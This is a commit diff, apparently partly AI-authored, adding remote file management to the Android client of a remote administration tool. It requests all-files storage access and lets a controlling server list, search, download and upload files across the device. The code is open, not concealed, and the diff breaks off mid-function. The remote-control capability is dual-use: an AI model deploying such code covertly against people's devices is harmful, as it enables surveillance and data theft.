Feature: add file management to the Android client
Android 客户端此前没有文件管理:声明了 CLIENT_CAP_V2 却没有实现,主控的 文件管理对话框和 MCP 的 list_files/download_file/upload_file 对 APK 只会 超时。本次复用 Linux/macOS 已在用的 common/FileManager.h,只补平台差异: - 盘符模型:P=应用私有目录、I=内部存储、S/T/...=SD 卡与 U 盘;V2 上传 通过 FileTransferV2::SetPathMapper 复用同一套映射。 - 文件通道线上是 GBK。NDK 的 iconv 要 API 28,客户端 minSdk 是 21,改走 JNI -> Java Charset(NativeText.kt),严格模式失败原样透传。 - Android 11+ 引导开启「所有文件访问」;未授权时只挂 P: 并回一条提示。 API <=29 用运行时存储权限 + requestLegacyExternalStorage。 - 顺带实现 COMMAND_SEARCH_FILE(深度 32、1 万条),并让 MCP 的 list_files/download_file/upload_file/read_file 对 APK 开闸。 验证:arm64/armeabi 与模拟器 ABI 编译通过;模拟器上用 MCP 完成列盘、 列目录、下载、上传、中文文件名往返,GUI 文件管理器正常显示 P:/I:/S:。 Model: deepseek-flash Co-Authored-By: Claude Code <noreply@anthropic.com>
This commit is contained in:
1 parent
7172ab376d
commit
28c0c9a2a6
9 files changed
+1001
-19
No files matched your search
@@ -1,7 +1,17 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:tools="http://schemas.android.com/tools">
|
||||
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
<!-- 文件管理(COMMAND_LIST_DRIVE):整机文件浏览/上传下载。
|
||||
Android 11+ 用「所有文件访问」特殊权限(用户在设置里开一次);
|
||||
10 及以下用运行时存储权限(Android 10 还靠 requestLegacyExternalStorage)。 -->
|
||||
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"
|
||||
tools:ignore="ScopedStorage" />
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"
|
||||
android:maxSdkVersion="29" />
|
||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"
|
||||
android:maxSdkVersion="28" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
|
||||
@@ -19,6 +29,7 @@
|
||||
|
||||
<application
|
||||
android:allowBackup="false"
|
||||
android:requestLegacyExternalStorage="true"
|
||||
android:extractNativeLibs="false"
|
||||
android:icon="@mipmap/ic_launcher"
|
||||
android:roundIcon="@mipmap/ic_launcher_round"
|
||||
|
||||
@@ -0,0 +1,309 @@
|
||||
// FileManagerAndroid.h - Android 文件管理
|
||||
//
|
||||
// 复用 common/FileManager.h 的整套协议(列目录、上传/下载、V2 流式传输、删除/改名/
|
||||
// 新建目录)。Android 只替换三处平台差异:
|
||||
//
|
||||
// 1. 盘符模型:服务端文件管理器按 Windows 习惯显示 "C:\",这里把 Android 的存储
|
||||
// 挂成 "I:"(内部存储)、"S:"/"T:"...(SD 卡 / U 盘)、"P:"(应用私有目录)。
|
||||
// 服务端发来的 "I:\DCIM\Camera" 在这里映射回 /storage/emulated/0/DCIM/Camera。
|
||||
// 2. 控制器:存储根与「所有文件访问」状态由 Java 侧(StorageHelper)提供。
|
||||
// 3. 编码:common/FileManager.h 在 Android 上不走 iconv(NDK 的 iconv 需要
|
||||
// API 28,客户端 minSdk 是 21),改为 JNI → Java Charset,见 main.cpp。
|
||||
//
|
||||
// 未授予 MANAGE_EXTERNAL_STORAGE 时,AndroidQueryStorageRoots() 只会返回应用目录,
|
||||
// 主控打开文件管理器仍能浏览/上传下载应用私有目录,并通过一条 TOKEN_CLIENT_MSG
|
||||
// 提示运维去设置里开启全盘访问。
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <atomic>
|
||||
#include <cctype>
|
||||
#include <cstdint>
|
||||
#include <cstring>
|
||||
#include <string>
|
||||
#include <thread>
|
||||
#include <vector>
|
||||
|
||||
#include <dirent.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#include "common/FileManager.h"
|
||||
|
||||
struct AndroidStorageRoot {
|
||||
char letter; // 'I' / 'S' / 'A'
|
||||
std::string path; // /storage/emulated/0(无尾斜杠)
|
||||
std::string label; // ASCII,服务端按 GBK 显示也不乱码
|
||||
bool removable;
|
||||
};
|
||||
|
||||
// 由 main.cpp 通过 JNI 实现(StorageHelper.roots / allFilesAccess)
|
||||
std::vector<AndroidStorageRoot> AndroidQueryStorageRoots();
|
||||
bool AndroidAllFilesAccess();
|
||||
|
||||
// 盘符 ↔ Android 路径映射。也注入给 FileTransferV2(V2 上传的落盘路径走同一套
|
||||
// 映射;见 main.cpp 里 FileTransferV2::SetPathMapper)。
|
||||
std::string AndroidMapWinPathToUnix(const std::string& winPath);
|
||||
std::string AndroidMapUnixToWinPath(const std::string& unixPath);
|
||||
|
||||
class AndroidFileManager : public FileManager
|
||||
{
|
||||
public:
|
||||
explicit AndroidFileManager(IOCPClient* client)
|
||||
: FileManager(client, /*deferredStart=*/true)
|
||||
{
|
||||
m_roots = AndroidQueryStorageRoots();
|
||||
SendDriveList();
|
||||
}
|
||||
|
||||
~AndroidFileManager()
|
||||
{
|
||||
// 搜索线程持有 this;子连接关闭后必须让它先退出,否则 UAF
|
||||
m_searchStop.store(true);
|
||||
if (m_searchThread.joinable()) m_searchThread.join();
|
||||
}
|
||||
|
||||
// 文件搜索(COMMAND_SEARCH_FILE)是文件管理器子连接上的独立协议,基类不处理;
|
||||
// 其余命令全部交回 Common 的实现。
|
||||
void OnReceive(PBYTE szBuffer, ULONG ulLength) override
|
||||
{
|
||||
if (!szBuffer || ulLength == 0) return;
|
||||
if (szBuffer[0] == COMMAND_SEARCH_FILE) {
|
||||
StartSearch(szBuffer, ulLength);
|
||||
return;
|
||||
}
|
||||
if (szBuffer[0] == COMMAND_FILES_SEARCH_STOP) {
|
||||
m_searchStop.store(true);
|
||||
return;
|
||||
}
|
||||
FileManager::OnReceive(szBuffer, ulLength);
|
||||
}
|
||||
|
||||
protected:
|
||||
void SendDriveList() override
|
||||
{
|
||||
IOCPClient* client = ClientObject();
|
||||
if (!client) return;
|
||||
|
||||
std::vector<uint8_t> buf;
|
||||
buf.reserve(1 + m_roots.size() * 40);
|
||||
buf.push_back((uint8_t)TOKEN_DRIVE_LIST);
|
||||
|
||||
for (const auto& r : m_roots) {
|
||||
unsigned long totalMB = 0, freeMB = 0;
|
||||
struct statvfs sv;
|
||||
if (statvfs(r.path.c_str(), &sv) == 0) {
|
||||
unsigned long long totalBytes = (unsigned long long)sv.f_blocks * sv.f_frsize;
|
||||
unsigned long long freeBytes = (unsigned long long)sv.f_bfree * sv.f_frsize;
|
||||
totalMB = (unsigned long)(totalBytes / 1024 / 1024);
|
||||
freeMB = (unsigned long)(freeBytes / 1024 / 1024);
|
||||
}
|
||||
|
||||
// 格式:[盘符:1][类型:1][总MB:4][可用MB:4][类型名\0][文件系统名\0]
|
||||
// 类型 2=DRIVE_REMOVABLE、3=DRIVE_FIXED(与服务端 FileManagerDlg 的
|
||||
// switch 一致)。文件系统名留空 → 对话框显示类型名。
|
||||
buf.push_back((uint8_t)r.letter);
|
||||
buf.push_back(r.removable ? 2 : 3);
|
||||
AppendLE32(buf, (uint32_t)totalMB);
|
||||
AppendLE32(buf, (uint32_t)freeMB);
|
||||
buf.insert(buf.end(), r.label.begin(), r.label.end());
|
||||
buf.push_back(0);
|
||||
buf.push_back(0);
|
||||
}
|
||||
|
||||
client->Send2Server((char*)buf.data(), (ULONG)buf.size());
|
||||
Mprintf("[FileManager] SendDriveList: %zu root(s), %zu bytes\n",
|
||||
m_roots.size(), buf.size());
|
||||
}
|
||||
|
||||
// 服务端路径(UTF-8)→ Android 文件系统路径。
|
||||
// I:\DCIM\Camera → /storage/emulated/0/DCIM/Camera
|
||||
// I: → /storage/emulated/0
|
||||
// /:\home\user → /home/user(兼容老式 Unix 写法)
|
||||
// /storage/... → 原样
|
||||
std::string winPathToLinux(const char* winPath) override
|
||||
{
|
||||
return AndroidMapWinPathToUnix(winPath ? winPath : "");
|
||||
}
|
||||
|
||||
// Android 文件系统路径 → 服务端路径。
|
||||
// /storage/emulated/0/DCIM → I:\DCIM
|
||||
// 未匹配任何存储根时退回 Linux 的 "/:\..." 写法,便于日志定位。
|
||||
std::string linuxPathToWin(const std::string& linuxPath) override
|
||||
{
|
||||
return AndroidMapUnixToWinPath(linuxPath);
|
||||
}
|
||||
|
||||
private:
|
||||
// ---- 文件搜索(与 Windows client/FileManager.cpp 的搜索协议一致)----
|
||||
// 请求:[COMMAND_SEARCH_FILE][根目录 GBK \0][模式 GBK \0]
|
||||
// 模式不含 * / ? 时自动包成 *模式*(子串、ASCII 不区分大小写)
|
||||
// 结果:[TOKEN_SEARCH_FILE_LIST]{ [attr:1][全路径 GBK \0][sizeHi:4][sizeLo:4][FILETIME:8] }*
|
||||
// 结束:[TOKEN_SEARCH_FILE_FINISH];中途收到 COMMAND_FILES_SEARCH_STOP 就尽快收尾
|
||||
static constexpr int kSearchMaxDepth = 32;
|
||||
static constexpr int kSearchMaxResults = 10000;
|
||||
|
||||
static bool WildcardMatch(const char* pattern, const char* str)
|
||||
{
|
||||
while (*pattern) {
|
||||
if (*pattern == '*') {
|
||||
++pattern;
|
||||
if (!*pattern) return true;
|
||||
while (*str) {
|
||||
if (WildcardMatch(pattern, str)) return true;
|
||||
++str;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
if (*pattern == '?') {
|
||||
if (!*str) return false;
|
||||
++pattern; ++str;
|
||||
continue;
|
||||
}
|
||||
unsigned char a = (unsigned char)*pattern++;
|
||||
unsigned char b = (unsigned char)*str++;
|
||||
if (a >= 'A' && a <= 'Z') a = (unsigned char)(a - 'A' + 'a');
|
||||
if (b >= 'A' && b <= 'Z') b = (unsigned char)(b - 'A' + 'a');
|
||||
if (a != b) return false;
|
||||
}
|
||||
return *str == '\0';
|
||||
}
|
||||
|
||||
void StartSearch(PBYTE buf, ULONG len)
|
||||
{
|
||||
// 新搜索先让上一次停下(与 Windows 端一致)
|
||||
m_searchStop.store(true);
|
||||
if (m_searchThread.joinable()) m_searchThread.join();
|
||||
m_searchStop.store(false);
|
||||
|
||||
const char* end = (const char*)buf + len;
|
||||
const char* p = (const char*)buf + 1;
|
||||
size_t pathLen = strnlen(p, (size_t)(end - p));
|
||||
if (p + pathLen >= end || p + pathLen + 1 >= end) return;
|
||||
const char* name = p + pathLen + 1;
|
||||
size_t nameLen = strnlen(name, (size_t)(end - name));
|
||||
|
||||
const std::string root = winPathToLinux(gbkToUtf8(std::string(p, pathLen)).c_str());
|
||||
std::string pattern = gbkToUtf8(std::string(name, nameLen));
|
||||
if (pattern.find('*') == std::string::npos &&
|
||||
pattern.find('?') == std::string::npos) {
|
||||
pattern = "*" + pattern + "*";
|
||||
}
|
||||
if (root.empty() || pattern.empty()) return;
|
||||
|
||||
Mprintf("[FileManager] search start: root=%s pattern=%s\n", root.c_str(), pattern.c_str());
|
||||
try {
|
||||
m_searchThread = std::thread([this, root, pattern]() {
|
||||
SearchWorker(root, pattern);
|
||||
});
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("[FileManager] search thread failed: %s\n", e.what());
|
||||
}
|
||||
}
|
||||
|
||||
void SearchWorker(const std::string& root, const std::string& pattern)
|
||||
{
|
||||
std::vector<uint8_t> batch;
|
||||
batch.push_back((uint8_t)TOKEN_SEARCH_FILE_LIST);
|
||||
int results = 0;
|
||||
|
||||
SearchDir(root, pattern, 0, batch, results);
|
||||
|
||||
if (!m_searchStop.load() && batch.size() > 1)
|
||||
SendBatch(batch);
|
||||
|
||||
BYTE done = (uint8_t)TOKEN_SEARCH_FILE_FINISH;
|
||||
if (IOCPClient* c = ClientObject())
|
||||
c->Send2Server((char*)&done, 1);
|
||||
Mprintf("[FileManager] search done: %d result(s)\n", results);
|
||||
}
|
||||
|
||||
void SearchDir(const std::string& dir, const std::string& pattern, int depth,
|
||||
std::vector<uint8_t>& batch, int& results)
|
||||
{
|
||||
if (m_searchStop.load() || depth > kSearchMaxDepth || results >= kSearchMaxResults)
|
||||
return;
|
||||
|
||||
DIR* d = opendir(dir.c_str());
|
||||
if (!d) return;
|
||||
|
||||
struct dirent* ent = nullptr;
|
||||
while ((ent = readdir(d)) != nullptr) {
|
||||
if (m_searchStop.load() || results >= kSearchMaxResults) break;
|
||||
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue;
|
||||
|
||||
std::string full = dir;
|
||||
if (full.empty() || full.back() != '/') full += '/';
|
||||
full += ent->d_name;
|
||||
|
||||
struct stat st;
|
||||
if (lstat(full.c_str(), &st) != 0) continue;
|
||||
|
||||
const bool isDir = S_ISDIR(st.st_mode);
|
||||
const bool isLink = S_ISLNK(st.st_mode);
|
||||
|
||||
// 符号链接不跟:避免循环,也避免跳出存储根
|
||||
if (!isLink && WildcardMatch(pattern.c_str(), ent->d_name))
|
||||
AppendResult(batch, results, full, isDir, st);
|
||||
|
||||
if (isDir && !isLink) {
|
||||
// 与 Windows 跳过隐藏+系统目录对应:跳过 . 开头的目录;
|
||||
// Android/data 和 Android/obb 是系统托管的大型目录,遍历没有意义
|
||||
if (ent->d_name[0] == '.') continue;
|
||||
const size_t n = full.size();
|
||||
if ((n >= 12 && full.compare(n - 12, 12, "/Android/data") == 0) ||
|
||||
(n >= 11 && full.compare(n - 11, 11, "/Android/obb") == 0))
|
||||
continue;
|
||||
SearchDir(full, pattern, depth + 1, batch, results);
|
||||
}
|
||||
}
|
||||
closedir(d);
|
||||
}
|
||||
|
||||
void AppendResult(std::vector<uint8_t>& batch, int& results,
|
||||
const std::string& fullPath, bool isDir, const struct stat& st)
|
||||
{
|
||||
const std::string winPath = linuxPathToWin(fullPath); // UTF-8 → I:\...
|
||||
const std::string gbkPath = utf8ToGbk(winPath);
|
||||
const uint64_t size = isDir ? 0 : (uint64_t)st.st_size;
|
||||
const uint64_t ft = (uint64_t)st.st_mtime * 10000000ULL + 116444736000000000ULL;
|
||||
|
||||
const size_t need = 1 + gbkPath.size() + 1 + 8 + 8;
|
||||
if (batch.size() + need > 60 * 1024 && batch.size() > 1) {
|
||||
SendBatch(batch);
|
||||
batch.assign(1, (uint8_t)TOKEN_SEARCH_FILE_LIST);
|
||||
}
|
||||
|
||||
batch.push_back(isDir ? 0x10 : 0x00);
|
||||
batch.insert(batch.end(), gbkPath.begin(), gbkPath.end());
|
||||
batch.push_back(0);
|
||||
AppendLE64(batch, size);
|
||||
AppendLE64(batch, ft);
|
||||
++results;
|
||||
}
|
||||
|
||||
void SendBatch(std::vector<uint8_t>& batch)
|
||||
{
|
||||
if (batch.size() > 1) {
|
||||
if (IOCPClient* c = ClientObject())
|
||||
c->Send2Server((char*)batch.data(), (ULONG)batch.size());
|
||||
}
|
||||
}
|
||||
|
||||
static void AppendLE64(std::vector<uint8_t>& buf, uint64_t v)
|
||||
{
|
||||
for (int i = 0; i < 8; ++i)
|
||||
buf.push_back((uint8_t)((v >> (8 * i)) & 0xFF));
|
||||
}
|
||||
|
||||
static void AppendLE32(std::vector<uint8_t>& buf, uint32_t v)
|
||||
{
|
||||
buf.push_back((uint8_t)(v & 0xFF));
|
||||
buf.push_back((uint8_t)((v >> 8) & 0xFF));
|
||||
buf.push_back((uint8_t)((v >> 16) & 0xFF));
|
||||
buf.push_back((uint8_t)((v >> 24) & 0xFF));
|
||||
}
|
||||
|
||||
std::vector<AndroidStorageRoot> m_roots;
|
||||
std::atomic<bool> m_searchStop{false};
|
||||
std::thread m_searchThread;
|
||||
};
|
||||
@@ -38,6 +38,10 @@
|
||||
// 类与格式化函数都是平台无关的(X11 采样在 linux/main.cpp,不在头文件里),Android
|
||||
// 只需注入自己的 probe(JNI 问 ControlService 要前台应用)。
|
||||
#include "linux/LinuxActivityHistory.h"
|
||||
// 文件管理(COMMAND_LIST_DRIVE):协议体复用 common/FileManager.h,Android 只补
|
||||
// 盘符映射与存储根。子连接自己建(GetServerTarget),不走 RunSubConnThread——
|
||||
// 后者拨的是 g_SETTINGS 里的出厂地址,转移主机后还是连旧主控。
|
||||
#include "FileManagerAndroid.h"
|
||||
|
||||
#define LOG_TAG "YAMA"
|
||||
// LOGI/LOGE 走 android_log_tag(logger.h):既进 logcat,也进 Logger 的内存 ring,
|
||||
@@ -275,6 +279,14 @@ static jmethodID g_shotCaptureMid = nullptr; // ScreenShot.capture(II)Lco
|
||||
static jmethodID g_shotDataMid = nullptr; // Shot.getData()[B
|
||||
static jmethodID g_shotWidthMid = nullptr; // Shot.getWidth()I
|
||||
static jmethodID g_shotHeightMid = nullptr; // Shot.getHeight()I
|
||||
// 文件管理:StorageHelper 提供存储根与「所有文件访问」状态;NativeText 做 GBK 转换
|
||||
// (Android 的 iconv 需要 API 28,客户端 minSdk 是 21)。
|
||||
static jclass g_storageClass = nullptr;
|
||||
static jmethodID g_rootsMid = nullptr; // StorageHelper.roots()[Ljava/lang/String;
|
||||
static jmethodID g_allFilesMid = nullptr; // StorageHelper.allFilesAccess()Z
|
||||
static jclass g_textClass = nullptr;
|
||||
static jmethodID g_gbkToUtf8Mid = nullptr; // NativeText.gbkToUtf8([B)[B
|
||||
static jmethodID g_utf8ToGbkMid = nullptr; // NativeText.utf8ToGbk([B)[B
|
||||
|
||||
// 心跳日志限流:每 60 秒最多打一次
|
||||
static std::atomic<uint64_t> g_lastHbLogMs{0};
|
||||
@@ -354,6 +366,238 @@ void DispatchClipboardText(const uint8_t* data, size_t size)
|
||||
if (attached) g_jvm->DetachCurrentThread();
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ 文件管理 JNI
|
||||
// 文件管理器跑在独立子连接线程(native 线程)里,每次调用 Java 前按需 attach。
|
||||
static JNIEnv* AttachJniForCall(bool* attached)
|
||||
{
|
||||
*attached = false;
|
||||
if (!g_jvm) return nullptr;
|
||||
JNIEnv* env = nullptr;
|
||||
jint st = g_jvm->GetEnv((void**)&env, JNI_VERSION_1_6);
|
||||
if (st == JNI_EDETACHED) {
|
||||
if (g_jvm->AttachCurrentThread(&env, nullptr) != JNI_OK || !env) return nullptr;
|
||||
*attached = true;
|
||||
} else if (st != JNI_OK || !env) {
|
||||
return nullptr;
|
||||
}
|
||||
return env;
|
||||
}
|
||||
|
||||
static void DetachJniForCall(bool attached)
|
||||
{
|
||||
if (attached && g_jvm) g_jvm->DetachCurrentThread();
|
||||
}
|
||||
|
||||
// Java 侧返回的每条形如 "I|/storage/emulated/0|Internal storage|0"
|
||||
static std::vector<AndroidStorageRoot> QueryStorageRootsFromJava()
|
||||
{
|
||||
std::vector<AndroidStorageRoot> roots;
|
||||
if (!g_jvm || !g_storageClass || !g_rootsMid) return roots;
|
||||
|
||||
bool attached = false;
|
||||
JNIEnv* env = AttachJniForCall(&attached);
|
||||
if (!env) return roots;
|
||||
|
||||
jobjectArray arr = (jobjectArray)env->CallStaticObjectMethod(g_storageClass, g_rootsMid);
|
||||
if (env->ExceptionCheck()) {
|
||||
env->ExceptionClear();
|
||||
DetachJniForCall(attached);
|
||||
return roots;
|
||||
}
|
||||
if (arr) {
|
||||
const jsize n = env->GetArrayLength(arr);
|
||||
for (jsize i = 0; i < n; ++i) {
|
||||
jstring js = (jstring)env->GetObjectArrayElement(arr, i);
|
||||
if (!js) continue;
|
||||
const char* s = env->GetStringUTFChars(js, nullptr);
|
||||
if (s) {
|
||||
std::string line(s);
|
||||
env->ReleaseStringUTFChars(js, s);
|
||||
|
||||
std::vector<std::string> parts;
|
||||
size_t start = 0;
|
||||
while (parts.size() < 3) {
|
||||
size_t bar = line.find('|', start);
|
||||
if (bar == std::string::npos) break;
|
||||
parts.push_back(line.substr(start, bar - start));
|
||||
start = bar + 1;
|
||||
}
|
||||
if (parts.size() == 3) parts.push_back(line.substr(start));
|
||||
if (parts.size() == 4 && parts[0].size() == 1 && !parts[1].empty()) {
|
||||
AndroidStorageRoot r;
|
||||
r.letter = parts[0][0];
|
||||
r.path = parts[1];
|
||||
r.label = parts[2];
|
||||
r.removable = (parts[3] == "1");
|
||||
roots.push_back(std::move(r));
|
||||
}
|
||||
}
|
||||
env->DeleteLocalRef(js);
|
||||
}
|
||||
env->DeleteLocalRef(arr);
|
||||
}
|
||||
if (env->ExceptionCheck()) env->ExceptionClear();
|
||||
DetachJniForCall(attached);
|
||||
return roots;
|
||||
}
|
||||
|
||||
bool AndroidAllFilesAccess()
|
||||
{
|
||||
if (!g_jvm || !g_storageClass || !g_allFilesMid) return false;
|
||||
bool attached = false;
|
||||
JNIEnv* env = AttachJniForCall(&attached);
|
||||
if (!env) return false;
|
||||
jboolean ok = env->CallStaticBooleanMethod(g_storageClass, g_allFilesMid);
|
||||
if (env->ExceptionCheck()) {
|
||||
env->ExceptionClear();
|
||||
ok = JNI_FALSE;
|
||||
}
|
||||
DetachJniForCall(attached);
|
||||
return ok == JNI_TRUE;
|
||||
}
|
||||
|
||||
static std::string CallTextConvert(jmethodID mid, const std::string& in)
|
||||
{
|
||||
if (!g_jvm || !g_textClass || !mid || in.empty()) return in;
|
||||
|
||||
bool attached = false;
|
||||
JNIEnv* env = AttachJniForCall(&attached);
|
||||
if (!env) return in;
|
||||
|
||||
std::string out = in;
|
||||
jbyteArray arr = env->NewByteArray((jsize)in.size());
|
||||
if (arr) {
|
||||
env->SetByteArrayRegion(arr, 0, (jsize)in.size(), (const jbyte*)in.data());
|
||||
jobject res = env->CallStaticObjectMethod(g_textClass, mid, arr);
|
||||
if (!env->ExceptionCheck() && res) {
|
||||
const jsize n = env->GetArrayLength((jbyteArray)res);
|
||||
out.resize((size_t)n);
|
||||
if (n > 0) env->GetByteArrayRegion((jbyteArray)res, 0, n, (jbyte*)&out[0]);
|
||||
env->DeleteLocalRef(res);
|
||||
} else if (env->ExceptionCheck()) {
|
||||
env->ExceptionClear();
|
||||
out = in;
|
||||
}
|
||||
env->DeleteLocalRef(arr);
|
||||
}
|
||||
if (env->ExceptionCheck()) env->ExceptionClear();
|
||||
DetachJniForCall(attached);
|
||||
return out;
|
||||
}
|
||||
|
||||
// common/FileManager.h 与 common/FileTransferV2.h 在 __ANDROID__ 下调用这两个
|
||||
// 函数代替 iconv;语义与 iconv 版一致:转换失败原样返回输入。
|
||||
std::string AndroidGbkToUtf8(const std::string& input)
|
||||
{
|
||||
return CallTextConvert(g_gbkToUtf8Mid, input);
|
||||
}
|
||||
|
||||
std::string AndroidUtf8ToGbk(const std::string& input)
|
||||
{
|
||||
return CallTextConvert(g_utf8ToGbkMid, input);
|
||||
}
|
||||
|
||||
// 存储根缓存:打开文件管理器、每次路径映射都问一遍 Java 太贵;缓存 30 秒,
|
||||
// SD 卡热插拔最多延迟半分钟。
|
||||
static std::mutex g_rootsMx;
|
||||
static std::vector<AndroidStorageRoot> g_rootsCache;
|
||||
static std::atomic<long long> g_rootsCacheAt{0};
|
||||
|
||||
static std::vector<AndroidStorageRoot> AndroidStorageRootsCached()
|
||||
{
|
||||
const long long now = (long long)time(nullptr);
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_rootsMx);
|
||||
if (!g_rootsCache.empty() &&
|
||||
now - g_rootsCacheAt.load(std::memory_order_relaxed) < 30) {
|
||||
return g_rootsCache;
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<AndroidStorageRoot> roots = QueryStorageRootsFromJava();
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_rootsMx);
|
||||
g_rootsCache = roots;
|
||||
g_rootsCacheAt.store(now, std::memory_order_relaxed);
|
||||
}
|
||||
return roots;
|
||||
}
|
||||
|
||||
std::vector<AndroidStorageRoot> AndroidQueryStorageRoots()
|
||||
{
|
||||
return AndroidStorageRootsCached();
|
||||
}
|
||||
|
||||
std::string AndroidMapWinPathToUnix(const std::string& winPath)
|
||||
{
|
||||
std::string p = winPath;
|
||||
|
||||
// 老式 Unix 根写法(Linux 客户端用 "/:" 表示 /),Android 上按真实路径处理
|
||||
if (p.size() >= 2 && p[0] == '/' && p[1] == ':')
|
||||
p.erase(0, 2);
|
||||
|
||||
// 文件管理器工具栏的三个 Windows 快捷按钮(桌面 / 下载 / 用户主页)下发的是
|
||||
// %USERPROFILE%\...;Android 没有 Desktop,映射到内部存储根/Download 才有意义。
|
||||
const std::string kProfile = "%USERPROFILE%";
|
||||
if (p.compare(0, kProfile.size(), kProfile) == 0) {
|
||||
std::string rest = p.substr(kProfile.size());
|
||||
for (auto& c : rest) if (c == '\\') c = '/';
|
||||
while (!rest.empty() && rest[0] == '/') rest.erase(0, 1);
|
||||
// 服务端下发的是 "%USERPROFILE%\Desktop\"(带尾反斜杠),归一化后是
|
||||
// "Desktop/",不剥掉就永远匹配不上下面的 Desktop/Downloads 分支
|
||||
while (!rest.empty() && rest.back() == '/') rest.pop_back();
|
||||
|
||||
std::string internal;
|
||||
for (const auto& r : AndroidStorageRootsCached())
|
||||
if (r.letter == 'I') { internal = r.path; break; }
|
||||
if (internal.empty()) return p;
|
||||
|
||||
if (rest == "Downloads") return internal + "/Download";
|
||||
if (rest == "Desktop") return internal;
|
||||
if (rest.empty()) return internal;
|
||||
return internal + "/" + rest;
|
||||
}
|
||||
|
||||
if (p.size() >= 2 && p[1] == ':' && std::isalpha((unsigned char)p[0])) {
|
||||
const char letter = (char)std::toupper((unsigned char)p[0]);
|
||||
std::string rest = p.substr(2);
|
||||
for (auto& c : rest) if (c == '\\') c = '/';
|
||||
for (const auto& r : AndroidStorageRootsCached()) {
|
||||
if (r.letter != letter) continue;
|
||||
if (rest.empty()) return r.path;
|
||||
if (rest[0] != '/') rest.insert(rest.begin(), '/');
|
||||
return r.path + rest;
|
||||
}
|
||||
// 盘符不存在(比如 SD 卡已拔出):保留原样,让 opendir 明确失败
|
||||
Mprintf("[FileManager] unknown drive %c in '%s'\n", letter, p.c_str());
|
||||
}
|
||||
|
||||
for (auto& c : p) if (c == '\\') c = '/';
|
||||
return p;
|
||||
}
|
||||
|
||||
std::string AndroidMapUnixToWinPath(const std::string& unixPath)
|
||||
{
|
||||
for (const auto& r : AndroidStorageRootsCached()) {
|
||||
if (unixPath == r.path)
|
||||
return std::string(1, r.letter) + ":\\";
|
||||
if (unixPath.size() > r.path.size() &&
|
||||
unixPath.compare(0, r.path.size(), r.path) == 0 &&
|
||||
unixPath[r.path.size()] == '/') {
|
||||
std::string rest = unixPath.substr(r.path.size());
|
||||
for (auto& c : rest) if (c == '/') c = '\\';
|
||||
return std::string(1, r.letter) + ":" + rest;
|
||||
}
|
||||
}
|
||||
|
||||
// 不在任何存储根下(例如应用沙箱里的临时路径):退回 Linux 的 "/:\..." 写法
|
||||
std::string result = "/:";
|
||||
result += unixPath;
|
||||
for (size_t i = 2; i < result.size(); ++i)
|
||||
if (result[i] == '/') result[i] = '\\';
|
||||
return result;
|
||||
}
|
||||
|
||||
// 远程交谈:native 子连接 → ChatSession.onNativeEvent(kind, data)。
|
||||
// kind: 1 = 服务端已绑定,2 = 会话结束,3 = 一条 GBK 文本。data 只在 kind=3 时非空。
|
||||
// 与 DispatchClipboardText 同一套 attach/detach 套路,供 AndroidChatHandler::OnReceive 调用。
|
||||
@@ -1149,6 +1393,64 @@ static void TerminalThread()
|
||||
LOGI("TerminalThread exit");
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ 文件管理
|
||||
// 服务端 COMMAND_LIST_DRIVE(主控「文件管理」对话框 / MCP list_files)→ 子连接 →
|
||||
// 构造即发 TOKEN_DRIVE_LIST,服务端收到后打开对话框并把这条子连接交给它。
|
||||
// 每个对话框一条子连接(与 Windows/Linux 一致),因此这里不限制并发。
|
||||
static std::atomic<int> g_fsOpenedHinted{0};
|
||||
|
||||
static void FileManagerThread()
|
||||
{
|
||||
// 未授予「所有文件访问」时只提示一次:文件管理器仍可用(应用目录),
|
||||
// 但整机目录可能列得出来读不了,提示运维去设置里开启。
|
||||
if (!AndroidAllFilesAccess() && g_fsOpenedHinted.fetch_add(1) == 0) {
|
||||
sendClientMsg("File manager",
|
||||
"All-files access is not granted on this device. Only the app's own "
|
||||
"folders are fully accessible; enable Settings > Apps > YAMA > "
|
||||
"Special app access > All files access to browse the whole storage.");
|
||||
}
|
||||
|
||||
std::string ip; int port;
|
||||
GetServerTarget(ip, port);
|
||||
LOGI(">>> FileManagerThread start → %s:%d", ip.c_str(), port);
|
||||
try {
|
||||
std::unique_ptr<IOCPClient> client(new IOCPClient(g_bExit, true));
|
||||
client->EnableSubConnAuth(true, g_myClientID);
|
||||
// 转移主机后目标会变,每轮重取(不能用 g_SETTINGS 里的出厂地址)
|
||||
client->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType);
|
||||
GetServerTarget(ip, port);
|
||||
if (!client->ConnectServer(ip.c_str(), port)) {
|
||||
LOGE("FileManagerThread: connect failed");
|
||||
return;
|
||||
}
|
||||
|
||||
// 列大目录时每个名字都要做 GBK 转换;把这条子连接线程常驻 attach 到 JVM,
|
||||
// 避免每个目录条目两次 AttachCurrentThread/DetachCurrentThread。
|
||||
JNIEnv* env = nullptr;
|
||||
bool attached = false;
|
||||
if (g_jvm && g_jvm->GetEnv((void**)&env, JNI_VERSION_1_6) == JNI_EDETACHED) {
|
||||
if (g_jvm->AttachCurrentThread(&env, nullptr) == JNI_OK) attached = true;
|
||||
}
|
||||
struct JniGuard {
|
||||
bool attached;
|
||||
~JniGuard() { if (attached && g_jvm) g_jvm->DetachCurrentThread(); }
|
||||
} jniGuard{attached};
|
||||
|
||||
std::unique_ptr<AndroidFileManager> handler(new AndroidFileManager(client.get()));
|
||||
